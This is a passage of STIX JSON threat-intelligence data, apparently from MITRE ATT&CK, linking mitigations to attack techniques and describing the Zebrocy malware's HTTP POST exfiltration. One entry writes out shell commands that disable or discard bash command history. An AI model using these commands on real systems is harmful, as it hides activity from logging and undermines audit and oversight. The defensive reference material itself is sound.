            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "relationship_type": "mitigates",
            "description": "Grant access to application deployment systems only to a limited number of authorized administrators.  Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.",
            "id": "relationship--15c504cc-6f8c-46d5-b147-d8c6fca03dfd",
            "type": "relationship",
            "modified": "2020-03-23T15:40:51.378Z",
            "created": "2019-07-16T19:17:35.009Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "relationship_type": "mitigates",
            "description": "Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. ",
            "id": "relationship--feb8a868-1956-4dc5-802c-efa8c455034b",
            "type": "relationship",
            "modified": "2020-01-24T15:00:47.396Z",
            "created": "2019-07-16T19:24:58.172Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
            "relationship_type": "mitigates",
            "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.",
            "id": "relationship--a7abebf1-687a-40b7-9d11-c68e0e41c19c",
            "type": "relationship",
            "modified": "2020-02-04T13:03:03.622Z",
            "created": "2019-07-16T19:54:57.424Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "relationship_type": "mitigates",
            "description": "\nConsider limiting access to the BITS interface to specific users or groups.(Citation: Symantec BITS May 2007)",
            "id": "relationship--279fa1bc-e514-4125-ab7e-51fb1da8a3f2",
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update",
                    "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
                    "source_name": "Symantec BITS May 2007"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-13T21:36:05.268Z",
            "created": "2019-07-16T20:02:53.325Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "relationship_type": "mitigates",
            "description": "Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)",
            "id": "relationship--9ae39090-1b20-4a81-8c03-841cd46d0f0b",
            "external_references": [
                {
                    "url": "https://github.com/hfiref0x/UACME",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "source_name": "Github UACMe"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-05T20:08:34.099Z",
            "created": "2019-07-16T20:28:55.404Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "relationship_type": "mitigates",
            "description": "Configure internal and external firewalls to block traffic using common ports that associate to network protocols that may be unnecessary for that particular network segment.",
            "id": "relationship--205b99bf-ce60-4bb5-8916-ac9d97ce4d05",
            "type": "relationship",
            "modified": "2020-07-06T17:54:28.241Z",
            "created": "2019-07-16T20:51:40.453Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "relationship_type": "mitigates",
            "description": "Disallow or restrict removable media at an organizational policy level if they are not required for business operations.(Citation: TechNet Removable Media Control)",
            "id": "relationship--c4b3287c-5e5a-4ec0-bc20-4e3b6a0c296f",
            "external_references": [
                {
                    "source_name": "TechNet Removable Media Control",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-14T19:44:51.001Z",
            "created": "2019-07-16T20:53:20.687Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018"
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--d514d73a-27de-409d-bff9-d7e48f2859a6",
            "type": "relationship",
            "modified": "2020-03-20T18:31:32.983Z",
            "created": "2019-07-16T21:00:11.765Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ",
            "relationship_type": "uses",
            "id": "relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7",
            "type": "relationship",
            "modified": "2020-12-22T18:45:21.898Z",
            "created": "2019-07-16T21:00:11.769Z"
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        {
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            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
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            "relationship_type": "mitigates",
            "description": "Identify and block potentially malicious and unknown .cpl files by using application whitelisting (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "id": "relationship--a1f159ff-c736-44db-ab58-1fffcb7c8404",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-31T18:59:22.102Z",
            "created": "2019-07-16T21:10:28.523Z"
        },
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            ],
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            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "relationship_type": "mitigates",
            "description": "Protect domain controllers by ensuring proper security configuration for critical servers.",
            "id": "relationship--6808a607-0c81-433b-a027-2f1a8fe163c9",
            "type": "relationship",
            "modified": "2020-03-23T17:04:18.810Z",
            "created": "2019-07-16T21:24:16.586Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "relationship_type": "mitigates",
            "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.",
            "id": "relationship--7e8ca453-aee5-48c1-a891-f44a742a95ed",
            "type": "relationship",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "relationship_type": "mitigates",
            "description": "\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL) Consider adding users to the \"Protected Users\" Active Directory security group. This can help limit the caching of users' plaintext credentials.(Citation: Microsoft Protected Users Security Group)",
            "id": "relationship--fc31837d-530f-45e5-b9f8-bf6268c3ef03",
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                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "source_name": "AdSecurity DCSync Sept 2015"
                },
                {
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "source_name": "Microsoft Replication ACL"
                },
                {
                    "source_name": "Microsoft Protected Users Security Group",
                    "url": "https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group",
                    "description": "Microsoft. (2016, October 12). Protected Users Security Group. Retrieved May 29, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2021-02-09T14:15:25.684Z",
            "created": "2019-07-17T15:45:37.521Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "relationship_type": "mitigates",
            "description": "\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.(Citation: Microsoft LSA)",
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            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
                    "source_name": "Microsoft LSA"
                }
            ],
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            "modified": "2021-02-09T14:15:25.667Z",
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            ],
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            "relationship_type": "mitigates",
            "description": "\nConsider disabling or restricting NTLM.(Citation: Microsoft Disable NTLM Nov 2012) Consider disabling WDigest authentication.(Citation: Microsoft WDigest Mit)",
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            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/jj865668.aspx",
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                    "source_name": "Microsoft Disable NTLM Nov 2012"
                },
                {
                    "source_name": "Microsoft WDigest Mit",
                    "url": "https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a",
                    "description": "Microsoft. (2014, May 13). Microsoft Security Advisory: Update to improve credentials protection and management. Retrieved June 8, 2020."
                }
            ],
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            "modified": "2021-02-09T14:15:25.682Z",
            "created": "2019-07-17T15:45:37.582Z"
        },
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "relationship_type": "mitigates",
            "description": "Restrict file shares to specific directories with access only to necessary users.",
            "id": "relationship--862de207-08e7-402a-ad23-90f520f11299",
            "type": "relationship",
            "modified": "2020-02-04T12:55:04.058Z",
            "created": "2019-07-17T15:52:46.436Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "relationship_type": "mitigates",
            "description": "Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.",
            "id": "relationship--f76660fd-2b21-415f-b0dd-a98f9e80055b",
            "type": "relationship",
            "modified": "2020-02-04T12:55:04.055Z",
            "created": "2019-07-17T15:52:46.451Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "relationship_type": "mitigates",
            "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.",
            "id": "relationship--397bdc3e-3c63-4311-a509-e019c655e836",
            "type": "relationship",
            "modified": "2020-02-04T12:55:04.086Z",
            "created": "2019-07-17T15:52:46.456Z"
        },
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "relationship_type": "mitigates",
            "description": "Establish an organizational policy that prohibits password storage in files.",
            "id": "relationship--913e7eac-c12f-4db7-b5f4-b23c8fe05729",
            "type": "relationship",
            "modified": "2020-02-04T12:55:04.110Z",
            "created": "2019-07-17T15:52:46.478Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "relationship_type": "mitigates",
            "description": "If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.",
            "id": "relationship--08e5e694-23fb-4598-afb4-3ed31850c070",
            "type": "relationship",
            "modified": "2020-02-04T12:59:37.761Z",
            "created": "2019-07-17T16:02:42.954Z"
        },
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "relationship_type": "mitigates",
            "description": "Do not store credentials within the Registry.",
            "id": "relationship--ba7c3f55-4b25-4b64-828a-0ee86602013e",
            "type": "relationship",
            "modified": "2020-02-04T12:59:37.760Z",
            "created": "2019-07-17T16:02:42.979Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "relationship_type": "mitigates",
            "description": "Filter network traffic to look for unusual or non-standard protocols.",
            "id": "relationship--40865e9d-cfaf-4375-a1c2-ea47fe9e9bda",
            "type": "relationship",
            "modified": "2020-03-20T19:03:04.512Z",
            "created": "2019-07-17T18:20:50.647Z"
        },
        {
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            "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "relationship_type": "mitigates",
            "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.",
            "id": "relationship--8b3f2915-ca04-4770-88bb-e6f1314da34d",
            "type": "relationship",
            "modified": "2021-04-14T14:16:12.385Z",
            "created": "2019-07-17T18:51:33.926Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
            "relationship_type": "mitigates",
            "description": "Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.",
            "id": "relationship--220ed24a-195d-4a8b-b164-fac333017cdc",
            "type": "relationship",
            "modified": "2020-02-21T20:35:49.239Z",
            "created": "2019-07-17T19:02:55.279Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
            "relationship_type": "mitigates",
            "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.",
            "id": "relationship--0bf88285-4212-4690-9902-fa065b477f2c",
            "type": "relationship",
            "modified": "2020-01-24T17:07:20.031Z",
            "created": "2019-07-17T19:16:41.786Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "relationship_type": "mitigates",
            "description": "Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
            "id": "relationship--966669b9-7ad9-4d01-9218-d42b5c6264b2",
            "type": "relationship",
            "modified": "2020-03-20T14:28:39.744Z",
            "created": "2019-07-17T19:22:37.686Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
            "relationship_type": "mitigates",
            "description": "In order to use domain fronting, adversaries may need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It is possible to prevent the installation of these tools with application whitelisting.",
            "id": "relationship--e1de0727-729e-43de-a8a1-85caf742f35a",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html",
                    "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.",
                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017"
                },
                {
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "source_name": "Mandiant No Easy Breach"
                }
            ],
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            "modified": "2020-03-14T23:29:54.262Z",
            "created": "2019-07-17T19:25:38.331Z"
        },
        {
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            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
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            "relationship_type": "mitigates",
            "description": "In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.",
            "id": "relationship--5524aea0-6559-4410-abbb-c620133e5d87",
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            "modified": "2020-03-20T19:51:55.354Z",
            "created": "2019-07-17T19:32:24.314Z"
        },
        {
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            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
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            "relationship_type": "mitigates",
            "description": "If the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions.",
            "id": "relationship--908f43b2-be14-470d-b6ec-9bd0211752ee",
            "type": "relationship",
            "modified": "2020-02-11T18:30:21.134Z",
            "created": "2019-07-17T19:46:10.263Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
            "relationship_type": "mitigates",
            "description": "Prevent users from being able to write files to the search paths for applications.",
            "id": "relationship--99f401d1-81c5-461b-ab15-5ff9391fe93e",
            "type": "relationship",
            "modified": "2020-03-19T15:09:47.220Z",
            "created": "2019-07-17T19:54:05.765Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "relationship_type": "mitigates",
            "description": "By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI.",
            "id": "relationship--48e6b5fc-9d82-4cdf-84aa-bc23647e1234",
            "type": "relationship",
            "modified": "2020-05-13T22:50:51.536Z",
            "created": "2019-07-17T20:04:40.541Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "relationship_type": "mitigates",
            "description": "Identify and block potentially malicious software executed through this technique by using application control tools capable of preventing unknown DLLs from being loaded.",
            "id": "relationship--2c89cab1-efbb-405c-930d-197ae1910e5b",
            "type": "relationship",
            "modified": "2020-06-20T20:11:42.541Z",
            "created": "2019-07-17T20:12:19.105Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "relationship_type": "mitigates",
            "description": "Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.",
            "id": "relationship--6eec2d79-1d59-459d-af33-b186ece9748b",
            "type": "relationship",
            "modified": "2020-03-15T15:37:58.088Z",
            "created": "2019-07-17T20:18:11.841Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
            "relationship_type": "mitigates",
            "description": "Prevent the creation of new network adapters where possible.(Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)",
            "id": "relationship--818e5053-404d-4cc2-ba72-037767737e04",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/dd252791.aspx",
                    "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.",
                    "source_name": "Microsoft GPO Bluetooth FEB 2009"
                },
                {
                    "url": "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/",
                    "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.",
                    "source_name": "TechRepublic Wireless GPO FEB 2009"
                }
            ],
            "type": "relationship",
            "modified": "2020-05-20T13:33:50.934Z",
            "created": "2019-07-17T20:22:08.552Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "relationship_type": "mitigates",
            "description": "Web Application Firewalls may be used to limit exposure of applications to prevent exploit traffic from reaching the application.",
            "id": "relationship--53a95297-1cce-401c-99a3-34079e878fac",
            "type": "relationship",
            "modified": "2021-04-12T18:25:16.731Z",
            "created": "2019-07-17T20:50:44.740Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "relationship_type": "mitigates",
            "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.(Citation: OWASP Top 10)",
            "id": "relationship--4c308ec1-f0c6-4444-af7d-ff045204c326",
            "external_references": [
                {
                    "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project",
                    "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.",
                    "source_name": "OWASP Top 10"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-12T18:25:16.743Z",
            "created": "2019-07-17T21:07:56.528Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "relationship_type": "mitigates",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports for that particular network segment.",
            "id": "relationship--d567082e-e9ee-4622-acbd-a592bc3be4a3",
            "type": "relationship",
            "modified": "2020-03-14T18:19:53.337Z",
            "created": "2019-07-17T21:08:30.269Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "relationship_type": "mitigates",
            "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems.",
            "id": "relationship--9eaaffb7-4dc4-4aac-a1d5-675b71e587df",
            "type": "relationship",
            "modified": "2021-04-22T20:22:02.725Z",
            "created": "2019-07-17T21:15:42.971Z"
        },
        {
